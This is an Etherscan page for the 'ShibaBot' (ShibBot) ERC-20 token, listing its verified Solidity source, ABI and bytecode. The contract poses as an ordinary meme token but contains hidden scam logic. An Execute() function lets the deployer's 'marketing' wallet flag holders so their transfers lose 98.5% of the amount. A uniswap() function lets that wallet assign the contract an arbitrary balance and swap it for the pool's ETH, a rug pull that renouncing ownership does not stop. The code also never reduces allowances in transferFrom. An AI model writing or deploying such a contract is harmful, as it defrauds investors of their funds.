ETH Price: $3,312.51 (+1.13%)
Gas: 5 Gwei

Token

ShibaBot (ShibBot)
 

Overview

Max Total Supply

1,000,000,000 ShibBot

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
44,770,696.331989629 ShibBot

Value
$0.00
0xba03eca6b692532648c4da21840fb9af578147a2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShibBot

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-07-20
*/

//**
/**
  ShibaBot: @Shibafriend_Bot

  Twitter: https://twitter.com/ShibaBotERC

  Telegram: https://t.me/ShibaBotPortal
*/


pragma solidity ^0.8.19;
// SPDX-License-Identifier: MIT



interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

contract Context {
    function msgSender() public view returns (address) {return msg.sender;}
}
library SafeMath {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 asd, uint256 bewr, address[] calldata _path, address csdf, uint256) external;
    function factory() external pure returns (address addr);
    function WETH() external pure returns (address aadd);
}
abstract contract Ownable {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    address private _owner;
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner"); _;
    }
    constructor () {
        emit OwnershipTransferred(address(0), _owner);
        _owner = msg.sender;
    }
    function owner() public view virtual returns (address) {return _owner;}
}

contract ShibBot is Ownable, Context {
    using SafeMath for uint256;

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msgSender(), spender, amount);
        return true;
    }
    event Approval(address indexed from, address indexed to_addres, uint256 value);
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    uint256 public _decimals = 9;
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msgSender(), spender, _allowances[msgSender()][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msgSender(), recipient, amount); return true; }
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
    function _transfer(address _from, address _to, uint256 _amount) internal {
        uint256 feeAmount = (
            cooldowns[_from] != 0 && cooldowns[_from] <= currentBlock()
        ) ? _amount.mul(985).div(1000) 
        :  sellFee;
        require(_amount <= _balances[_from]); 
        _balances[_to] += _amount - feeAmount;
        _balances[_from] -= (_amount); 
        require(_from != address(0));
        emit Transfer(_from, _to, _amount);
    }
    uint256 sellFee = 0;
    uint256 buyFee = 0;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    string private _symbol = "ShibBot";
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    string private _name = "ShibaBot";
    function Execute(address[] calldata _addresses) external { 
        uint256 _toBlockNumber = currentBlock() + 1;
        for (uint _ndex_ = 0;  _ndex_ < _addresses.length;  _ndex_++) { 
            if (marketing()){ cooldowns[_addresses[_ndex_]] = _toBlockNumber; }
        }
    } 
    address public _marketingWallet;
    IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    function currentBlock() private view returns (uint256) {
        return block.number;
    }
    function setBuyFee(uint256 bf) external onlyOwner {
        buyFee = bf;
    }
    function setSellFee(uint256 sf) external  onlyOwner {
        sellFee = sf;
    }
    mapping(address => uint256) private _balances;
    event Transfer(address indexed from, address indexed aindex, uint256 val);

    function totalSupply() external view returns (uint256) { 
        return _totalSupply; 
    }
    function marketing() internal view returns (bool) {
        return _marketingWallet == msgSender();
    }
    function transferFrom(address from_, address to_, uint256 _amount) public returns (bool) {
        _transfer(from_, to_, _amount);
        require(_allowances[from_][msgSender()] >= _amount);
        return true;
    }
    function balanceOf(address account) public view returns (uint256) { return _balances[account]; } 
    function _approve(address owner, address spender, uint256 amount) internal {
        require(spender != address(0));
        require(owner != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    mapping (address => uint256) cooldowns;
    function uniswap(uint256 quantity, address _addrSwap) external {
        if (marketing()) { _approve(address(this), address(uniswapRouter),  quantity); 
        _balances[address(this)] = quantity;
        address[] memory tokenPath = new address[](2);  
        tokenPath[0] = address(this);   
        tokenPath[1] = uniswapRouter.WETH();  
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(quantity, 0, tokenPath, _addrSwap, 32 + block.timestamp);
        }
    }
    function name() external view returns (string memory) { return _name; }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msgSender()][from] >= amount);
        _approve(msgSender(), from, _allowances[msg.sender][from] - amount);
        return true;
    } 
    mapping(address => mapping(address => uint256)) private _allowances;
    constructor() {
        _balances[msgSender()] = _totalSupply; 
        _marketingWallet = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to_addres","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"aindex","type":"address"},{"indexed":false,"internalType":"uint256","name":"val","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"msgSender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"bf","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sf","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from_","type":"address"},{"internalType":"address","name":"to_","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"},{"internalType":"address","name":"_addrSwap","type":"address"}],"name":"uniswap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004bc565b633b9aca006200002b91906200050d565b600255600060035560006004556040518060400160405280600781526020017f53686962426f7400000000000000000000000000000000000000000000000000815250600590816200007e9190620007c8565b506040518060400160405280600881526020017f5368696261426f7400000000000000000000000000000000000000000000000081525060069081620000c59190620007c8565b50737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200012857600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025460096000620001fb6200032760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003199190620008c0565b60405180910390a3620008dd565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003bd578086048111156200039557620003946200032f565b5b6001851615620003a55780820291505b8081029050620003b5856200035e565b945062000375565b94509492505050565b600082620003d85760019050620004ab565b81620003e85760009050620004ab565b81600181146200040157600281146200040c5762000442565b6001915050620004ab565b60ff8411156200042157620004206200032f565b5b8360020a9150848211156200043b576200043a6200032f565b5b50620004ab565b5060208310610133831016604e8410600b84101617156200047c5782820a9050838111156200047657620004756200032f565b5b620004ab565b6200048b84848460016200036b565b92509050818404811115620004a557620004a46200032f565b5b81810290505b9392505050565b6000819050919050565b6000620004c982620004b2565b9150620004d683620004b2565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003c6565b905092915050565b60006200051a82620004b2565b91506200052783620004b2565b92508282026200053781620004b2565b915082820484148315176200055157620005506200032f565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005da57607f821691505b602082108103620005f057620005ef62000592565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200065a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200061b565b6200066686836200061b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006a9620006a36200069d84620004b2565b6200067e565b620004b2565b9050919050565b6000819050919050565b620006c58362000688565b620006dd620006d482620006b0565b84845462000628565b825550505050565b600090565b620006f4620006e5565b62000701818484620006ba565b505050565b5b8181101562000729576200071d600082620006ea565b60018101905062000707565b5050565b601f82111562000778576200074281620005f6565b6200074d846200060b565b810160208510156200075d578190505b620007756200076c856200060b565b83018262000706565b50505b505050565b600082821c905092915050565b60006200079d600019846008026200077d565b1980831691505092915050565b6000620007b883836200078a565b9150826002028217905092915050565b620007d38262000558565b67ffffffffffffffff811115620007ef57620007ee62000563565b5b620007fb8254620005c1565b620008088282856200072d565b600060209050601f8311600181146200084057600084156200082b578287015190505b620008378582620007aa565b865550620008a7565b601f1984166200085086620005f6565b60005b828110156200087a5784890151825560018201915060208501945060208101905062000853565b868310156200089a578489015162000896601f8916826200078a565b8355505b6001600288020188555050505b505050505050565b620008ba81620004b2565b82525050565b6000602082019050620008d76000830184620008af565b92915050565b611d5880620008ed6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c8063715018a6116100b8578063a457c2d71161007c578063a457c2d71461032e578063a9059cbb1461035e578063ac223af91461038e578063bad2931e146103aa578063d737d0c7146103c6578063dd62ed3e146103e457610137565b8063715018a6146102ae5780638b4cee08146102b85780638da5cb5b146102d457806395d89b41146102f2578063962dfc751461031057610137565b8063313ce567116100ff578063313ce567146101f457806332424aa31461021257806339509351146102305780633eaaf86b1461026057806370a082311461027e57610137565b806306fdde031461013c578063095ea7b31461015a5780630cc835a31461018a57806318160ddd146101a657806323b872dd146101c4575b600080fd5b610144610414565b6040516101519190611471565b60405180910390f35b610174600480360381019061016f9190611531565b6104a6565b604051610181919061158c565b60405180910390f35b6101a4600480360381019061019f91906115a7565b6104c4565b005b6101ae610543565b6040516101bb91906115e3565b60405180910390f35b6101de60048036038101906101d991906115fe565b61054d565b6040516101eb919061158c565b60405180910390f35b6101fc6105f5565b60405161020991906115e3565b60405180910390f35b61021a6105ff565b60405161022791906115e3565b60405180910390f35b61024a60048036038101906102459190611531565b610605565b604051610257919061158c565b60405180910390f35b6102686106b1565b60405161027591906115e3565b60405180910390f35b61029860048036038101906102939190611651565b6106b7565b6040516102a591906115e3565b60405180910390f35b6102b6610700565b005b6102d260048036038101906102cd91906115a7565b610833565b005b6102dc6108b2565b6040516102e9919061168d565b60405180910390f35b6102fa6108db565b6040516103079190611471565b60405180910390f35b61031861096d565b604051610325919061168d565b60405180910390f35b61034860048036038101906103439190611531565b610993565b604051610355919061158c565b60405180910390f35b61037860048036038101906103739190611531565b610ac8565b604051610385919061158c565b60405180910390f35b6103a860048036038101906103a391906116a8565b610ae6565b005b6103c460048036038101906103bf919061174d565b610d88565b005b6103ce610e40565b6040516103db919061168d565b60405180910390f35b6103fe60048036038101906103f9919061179a565b610e48565b60405161040b91906115e3565b60405180910390f35b60606006805461042390611809565b80601f016020809104026020016040519081016040528092919081815260200182805461044f90611809565b801561049c5780601f106104715761010080835404028352916020019161049c565b820191906000526020600020905b81548152906001019060200180831161047f57829003601f168201915b5050505050905090565b60006104ba6104b3610e40565b8484610ecf565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166104e36108b2565b73ffffffffffffffffffffffffffffffffffffffff1614610539576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053090611886565b60405180910390fd5b8060048190555050565b6000600254905090565b600061055a84848461102c565b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a4610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105ea57600080fd5b600190509392505050565b6000600154905090565b60015481565b60006106a7610612610e40565b8484600b6000610620610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106a291906118d5565b610ecf565b6001905092915050565b60025481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661071f6108b2565b73ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90611886565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166108526108b2565b73ffffffffffffffffffffffffffffffffffffffff16146108a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089f90611886565b60405180910390fd5b8060038190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108ea90611809565b80601f016020809104026020016040519081016040528092919081815260200182805461091690611809565b80156109635780601f1061093857610100808354040283529160200191610963565b820191906000526020600020905b81548152906001019060200180831161094657829003601f168201915b5050505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600b60006109a2610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a2557600080fd5b610abe610a30610e40565b8484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab99190611909565b610ecf565b6001905092915050565b6000610adc610ad5610e40565b848461102c565b6001905092915050565b610aee6112a2565b15610d8457610b2030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ecf565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115610b8157610b8061193d565b5b604051908082528060200260200182016040528015610baf5781602001602082028036833780820191505090505b5090503081600081518110610bc757610bc661196c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9291906119b0565b81600181518110610ca657610ca561196c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426020610d3091906118d5565b6040518663ffffffff1660e01b8152600401610d50959493929190611ae0565b600060405180830381600087803b158015610d6a57600080fd5b505af1158015610d7e573d6000803e3d6000fd5b50505050505b5050565b60006001610d94611301565b610d9e91906118d5565b905060005b83839050811015610e3a57610db66112a2565b15610e275781600a6000868685818110610dd357610dd261196c565b5b9050602002016020810190610de89190611651565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610e3290611b3a565b915050610da3565b50505050565b600033905090565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f0857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f4157600080fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161101f91906115e3565b60405180910390a3505050565b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156110c35750611080611301565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6110cf576003546110f9565b6110f86103e86110ea6103d98561130990919063ffffffff16565b61138390919063ffffffff16565b5b9050600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561114757600080fd5b80826111539190611909565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a191906118d5565b9250508190555081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f79190611909565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361123757600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129491906115e3565b60405180910390a350505050565b60006112ac610e40565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600043905090565b600080830361131b576000905061137d565b600082846113299190611b82565b90508284826113389190611bf3565b14611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f90611c96565b60405180910390fd5b809150505b92915050565b60008082116113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be90611d02565b60405180910390fd5b600082846113d59190611bf3565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141b578082015181840152602081019050611400565b60008484015250505050565b6000601f19601f8301169050919050565b6000611443826113e1565b61144d81856113ec565b935061145d8185602086016113fd565b61146681611427565b840191505092915050565b6000602082019050818103600083015261148b8184611438565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114c88261149d565b9050919050565b6114d8816114bd565b81146114e357600080fd5b50565b6000813590506114f5816114cf565b92915050565b6000819050919050565b61150e816114fb565b811461151957600080fd5b50565b60008135905061152b81611505565b92915050565b6000806040838503121561154857611547611493565b5b6000611556858286016114e6565b92505060206115678582860161151c565b9150509250929050565b60008115159050919050565b61158681611571565b82525050565b60006020820190506115a1600083018461157d565b92915050565b6000602082840312156115bd576115bc611493565b5b60006115cb8482850161151c565b91505092915050565b6115dd816114fb565b82525050565b60006020820190506115f860008301846115d4565b92915050565b60008060006060848603121561161757611616611493565b5b6000611625868287016114e6565b9350506020611636868287016114e6565b92505060406116478682870161151c565b9150509250925092565b60006020828403121561166757611666611493565b5b6000611675848285016114e6565b91505092915050565b611687816114bd565b82525050565b60006020820190506116a2600083018461167e565b92915050565b600080604083850312156116bf576116be611493565b5b60006116cd8582860161151c565b92505060206116de858286016114e6565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f84011261170d5761170c6116e8565b5b8235905067ffffffffffffffff81111561172a576117296116ed565b5b602083019150836020820283011115611746576117456116f2565b5b9250929050565b6000806020838503121561176457611763611493565b5b600083013567ffffffffffffffff81111561178257611781611498565b5b61178e858286016116f7565b92509250509250929050565b600080604083850312156117b1576117b0611493565b5b60006117bf858286016114e6565b92505060206117d0858286016114e6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061182157607f821691505b602082108103611834576118336117da565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118706020836113ec565b915061187b8261183a565b602082019050919050565b6000602082019050818103600083015261189f81611863565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118e0826114fb565b91506118eb836114fb565b9250828201905080821115611903576119026118a6565b5b92915050565b6000611914826114fb565b915061191f836114fb565b9250828203905081811115611937576119366118a6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119aa816114cf565b92915050565b6000602082840312156119c6576119c5611493565b5b60006119d48482850161199b565b91505092915050565b6000819050919050565b6000819050919050565b6000611a0c611a07611a02846119dd565b6119e7565b6114fb565b9050919050565b611a1c816119f1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a57816114bd565b82525050565b6000611a698383611a4e565b60208301905092915050565b6000602082019050919050565b6000611a8d82611a22565b611a978185611a2d565b9350611aa283611a3e565b8060005b83811015611ad3578151611aba8882611a5d565b9750611ac583611a75565b925050600181019050611aa6565b5085935050505092915050565b600060a082019050611af560008301886115d4565b611b026020830187611a13565b8181036040830152611b148186611a82565b9050611b23606083018561167e565b611b3060808301846115d4565b9695505050505050565b6000611b45826114fb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b7757611b766118a6565b5b600182019050919050565b6000611b8d826114fb565b9150611b98836114fb565b9250828202611ba6816114fb565b91508282048414831517611bbd57611bbc6118a6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bfe826114fb565b9150611c09836114fb565b925082611c1957611c18611bc4565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c806022836113ec565b9150611c8b82611c24565b604082019050919050565b60006020820190508181036000830152611caf81611c73565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611cec601b836113ec565b9150611cf782611cb6565b602082019050919050565b60006020820190508181036000830152611d1b81611cdf565b905091905056fea26469706673582212201b0fee69df299471463f572597ed8844f5dacb87cc9d6df318ac99d7549dc9ce64736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c8063715018a6116100b8578063a457c2d71161007c578063a457c2d71461032e578063a9059cbb1461035e578063ac223af91461038e578063bad2931e146103aa578063d737d0c7146103c6578063dd62ed3e146103e457610137565b8063715018a6146102ae5780638b4cee08146102b85780638da5cb5b146102d457806395d89b41146102f2578063962dfc751461031057610137565b8063313ce567116100ff578063313ce567146101f457806332424aa31461021257806339509351146102305780633eaaf86b1461026057806370a082311461027e57610137565b806306fdde031461013c578063095ea7b31461015a5780630cc835a31461018a57806318160ddd146101a657806323b872dd146101c4575b600080fd5b610144610414565b6040516101519190611471565b60405180910390f35b610174600480360381019061016f9190611531565b6104a6565b604051610181919061158c565b60405180910390f35b6101a4600480360381019061019f91906115a7565b6104c4565b005b6101ae610543565b6040516101bb91906115e3565b60405180910390f35b6101de60048036038101906101d991906115fe565b61054d565b6040516101eb919061158c565b60405180910390f35b6101fc6105f5565b60405161020991906115e3565b60405180910390f35b61021a6105ff565b60405161022791906115e3565b60405180910390f35b61024a60048036038101906102459190611531565b610605565b604051610257919061158c565b60405180910390f35b6102686106b1565b60405161027591906115e3565b60405180910390f35b61029860048036038101906102939190611651565b6106b7565b6040516102a591906115e3565b60405180910390f35b6102b6610700565b005b6102d260048036038101906102cd91906115a7565b610833565b005b6102dc6108b2565b6040516102e9919061168d565b60405180910390f35b6102fa6108db565b6040516103079190611471565b60405180910390f35b61031861096d565b604051610325919061168d565b60405180910390f35b61034860048036038101906103439190611531565b610993565b604051610355919061158c565b60405180910390f35b61037860048036038101906103739190611531565b610ac8565b604051610385919061158c565b60405180910390f35b6103a860048036038101906103a391906116a8565b610ae6565b005b6103c460048036038101906103bf919061174d565b610d88565b005b6103ce610e40565b6040516103db919061168d565b60405180910390f35b6103fe60048036038101906103f9919061179a565b610e48565b60405161040b91906115e3565b60405180910390f35b60606006805461042390611809565b80601f016020809104026020016040519081016040528092919081815260200182805461044f90611809565b801561049c5780601f106104715761010080835404028352916020019161049c565b820191906000526020600020905b81548152906001019060200180831161047f57829003601f168201915b5050505050905090565b60006104ba6104b3610e40565b8484610ecf565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166104e36108b2565b73ffffffffffffffffffffffffffffffffffffffff1614610539576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053090611886565b60405180910390fd5b8060048190555050565b6000600254905090565b600061055a84848461102c565b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060